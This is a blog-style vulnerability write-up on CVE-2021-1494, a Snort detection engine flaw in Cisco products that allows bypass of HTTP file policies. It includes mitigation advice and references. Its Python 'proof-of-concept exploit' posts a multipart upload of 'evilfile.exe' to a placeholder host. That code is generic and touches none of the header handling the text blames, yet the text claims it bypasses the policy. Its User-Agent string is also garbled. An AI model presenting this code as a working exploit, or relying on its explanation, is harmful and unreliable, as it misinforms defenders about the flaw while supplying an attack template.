CVE-2021-1494 – Critical vulnerability in Snort detection engine affecting multiple Cisco products, allowing remote attackers to bypass configured file policies for HTTP

CVE-2021-1494 is a critical vulnerability that affects multiple Cisco products, specifically, the Snort detection engine. This security flaw could enable unauthenticated, remote attackers to bypass a configured file policy for HTTP, potentially leading to attacks that involve delivering a malicious payload. In this long-read, we will go through the details of the vulnerability, the affected products, proof-of-concept exploit code, and provide links to original references.

Vulnerability Details

The root cause of CVE-2021-1494 lies in the incorrect handling of specific HTTP header parameters by the Snort detection engine. Essentially, an attacker could exploit this vulnerability by sending crafted HTTP packets through an affected device. If successful, an attacker could bypass a configured file policy for HTTP packets, potentially delivering a malicious payload.

Affected Products

Multiple Cisco products are affected by this vulnerability. Some of these include, but are not limited to, the following:

Cisco Advanced Malware Protection (AMP) for Endpoints

For a complete list of affected products and their respective versions, please refer to Cisco's official security advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort-dos-FQ2CYrXu

Proof-of-Concept Exploit Code

Here is a simplified code snippet to illustrate the nature of crafted HTTP packets that could be potentially used to exploit this vulnerability.

import requests

target_url = "http://target.example.com/";
malicious_http_headers = {
    "User-Agent": "Mozilla/5. (compatible; MSIE 9.; Windows NT 6.1; Trident/5.)",
    "Content-Type": "multipart/form-data;boundary=payload"
}

# Add your malicious payload here
malicious_payload = "--payload\r\nContent-Disposition: form-data; name=myfile; filename=evilfile.exe\r\nContent-Type: application/octet-stream\r\n\r\n"

response = requests.post(target_url, headers=malicious_http_headers, data=malicious_payload)
print(response.status_code)

In the exploit code above, we craft an HTTP packet with a specific "Content-Type" header and a malicious payload containing an executable file. The vulnerable Snort detection engine would not properly inspect the packet, allowing the attacker to bypass the configured file policy and deliver the malicious payload.

Mitigation

Cisco has released patches for the affected products to address this vulnerability. It is recommended to apply the required security updates as soon as possible. Additionally, a few workarounds that could help prevent exploitation of this vulnerability include implementing proper access control rules and filtering on network devices, along with enforcing strict file policies in affected environments.

Conclusion

CVE-2021-1494 is a critical vulnerability that affects multiple Cisco products due to incorrect handling of specific HTTP header parameters in the Snort detection engine. By exploiting this vulnerability, an unauthenticated, remote attacker can bypass a configured file policy, potentially delivering a malicious payload. It is of utmost importance to apply necessary patches provided by Cisco and take preventive measures to ensure the security of affected devices and networks.

References

- Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort-dos-FQ2CYrXu
- Snort Detection Engine: https://www.snort.org
- National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/CVE-2021-1494

Timeline

Published on: 11/15/2024 17:15:09 UTC
Last modified on: 11/18/2024 17:11:56 UTC